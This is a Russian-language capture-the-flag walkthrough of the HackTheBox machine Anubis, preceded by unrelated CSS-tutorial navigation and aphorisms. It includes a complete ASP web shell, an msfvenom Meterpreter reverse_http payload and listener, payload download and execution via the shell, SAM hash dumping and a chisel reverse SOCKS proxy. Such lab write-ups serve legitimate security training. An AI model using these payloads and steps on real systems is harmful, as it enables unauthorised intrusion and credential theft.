Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /
, чтобы было удобнее обращаться к ней:
10.10.11.102 anubis.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Находим четыре открытых порта:
Порт 443 обеспечивает соединение по HTTPS, а это значит, что первым делом стоит изучить сертификат. Его поле commonName
содержит доменные имена, для которых он действителен (Nmap тут же отобразит это в результатах сканирования). Сразу добавляем найденные домены в /
.
10.10.11.102 www.windcorp.htb
Теперь перейдем к веб‑серверу, где нас встретит одностраничный сайт.
Нам нужны поля, через которые можно было бы взаимодействовать с сервером. Найденная форма отправки сообщений подойдет.
Что привлекло мое внимание — это отображение всех введенных данных на странице https://
.
Получается, что сайт не одностраничный! Давай попробуем найти другие скрытые страницы сайта.
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-u
— URL;-fc
— исключить из результата ответы с кодом 403.Так как уже обнаружена одна страница в формате ASP, остальные будем перебирать с таким же расширением. Запускаем ffuf:
ffuf -uhttps://www.windcorp.htb/FUZZ.asp -t 300 -wdirectory_2.3_medium_lowercase.txt
Результат сканирования файлов ASPСпустя несколько минут мы узнаем еще о нескольких страницах. Самая интересная из них — test.
, которая просто форматирует наши данные.
Это место для теста!
Так как данные попадают в исполняемый файл ASP, то самая простая идея — это попробовать записать в поле комментария какой‑нибудь шелл на ASP. К примеру, этот:
Set oScript = Server.CreateObject("WSCRIPT.SHELL")Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAllend Function%<HTML><BODY><FORM action="" method="GET"<input type="text" name="cmd" size=45 value="<%= szCMD %>"<input type="submit" value="Run"FORM><PRE><%= "" & oScriptNet.ComputerName & "" & oScriptNet.UserName %<%Response.Write(Request.ServerVariables("server_name"))%<p><b>The server's port:b><%Response.Write(Request.ServerVariables("server_port"))%p><p><b>The server's software:b><%Response.Write(Request.ServerVariables("server_software"))%p><p><b>The server's local address:b><%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%<% szCMD = request("cmd")thisDir = getCommandOutput("cmd /c" & szCMD)Response.Write(thisDir)%p><br>BODY>HTML>
Отправка веб‑шеллаИ уже на странице подтверждения видим некоторый вывод. Неплохо, одну уязвимую страницу уже нашли!
Конечно, удобнее всего получить какую‑нибудь продвинутую оболочку, к примеру Meretpreter. Сначала сгенерируем исполняемый файл с помощью msfvenom
, для которого используем следующие параметры:
-p []
— нагрузка;LHOST=[]
— IP локального хоста;LPORT=[]
— локальный порт;-f []
— формат, в котором будет представлена нагрузка;-o
— итоговый файл.
msfvenom -pwindows/x64/meterpreter/reverse_http LHOST=10.10.14.13 LPORT=443 -f exe -ors.exe
Генерирование нагрузки MeterpreterСледующий шаг — запуск листенера MSF.
msfconsole -q
handler -pwindows/x64/meterpreter/reverse_http -Htun0 -P 443
Запуск листенера MetasploitИз каталога, где находится файл с нагрузкой, запускаем простой веб‑сервер на основе Python 3.
python3 -mhttp.server 80
И через веб‑шелл скачиваем нашу нагрузку, а второй командой — запускаем. Это приведет к созданию сессии Meterpreter в Metasploit. Командой getuid
проверяем текущего пользователя, от имени которого запущен файл.
cmd.exe/cC:WindowsTemprs.exe
Создание сессии MeterpreterМы работаем в контексте System, а для дальнейшего продвижения могут понадобиться учетные данные. Дампим хеши из локальной базы SAM с помощью hashdump, вдруг где‑то пригодится.
Просматриваем файлы на хосте и находим на рабочем столе администратора сертификат.
Копируем его содержимое на локальную машину и сохраняем с расширением crt
. Затем можно просто открыть этот файл (любая система должна распознать и отобразить содержимое сертификата).
Так мы узнаем еще одно доменное имя — softwareportal.
. Попытаемся получить доступ к этому хосту, но сперва выясним его реальный адрес. Первым делом организуем SOCKS-прокси с помощью программы chisel. Нам потребуется и версия для Windows, и версия для Linux. Запустим на локальном хосте сервер, указав порт для подключения (опция -p
), тип прокси (--socks5
) и то, что он должен ожидать подключения.
./chisel server -p4321 --socks5 --reverse
Затем загрузим на удаленный хост версию для Windows и подключимся. В логах сервера увидим сообщение о подключении клиентской части.
Логи сервера chiselТеперь добавим доменное имя в файл /
. А в качестве адреса будем использовать Gateway-адрес системы.
172.22.160.1 softwareportal.windcorp.htb
Что удивительно, расширения для быстрого переключения прокси серверов типа FoxyProxy и ему подобных не давали соединения. Но если выставить параметры прокси в настройках браузера и обратиться к хосту по доменному имени, мы получаем желанную страницу.
На сайте есть список программного обеспечения. Если выбрать любой пункт, ты перейдешь по ссылке и увидишь сообщение о начале установки ПО.
Немного ждем, но не видим никаких изменений. Тогда разберем, что происходит при выборе ПО из списка. Выбирая ссылку, мы делаем запрос по такому адресу:
http://softwareportal.windcorp.htb/install.asp?client=XXX.XXX.XXX.XXX&software=7z1900-x64.exe
Сервер получает адрес клиента и должен с ним взаимодействовать. Попробуем в качестве клиента указать адрес своего хоста, но перед этим откроем любой сниффер трафика, к примеру Wireshark.
curl http://softwareportal.windcorp.htb/install.asp?client=10.10.14.81&software=7z1900-x64.exe
Окно WiresharkДля удобства просмотра трафика можно активировать фильтр, я использовал not
, чтобы отсеять обращения к удаленному хосту. В выводе видим пакеты черного цвета, что говорит о сбросе соединения (закрытый порт). Происходит обращение к нашему хосту на порт 5985 — там работает служба WinRM. Таким образом, удаленный хост для установки ПО пытается подключиться к службе WinRM хоста, адрес которого передан в параметре client
при запросе на установку ПО.
|
|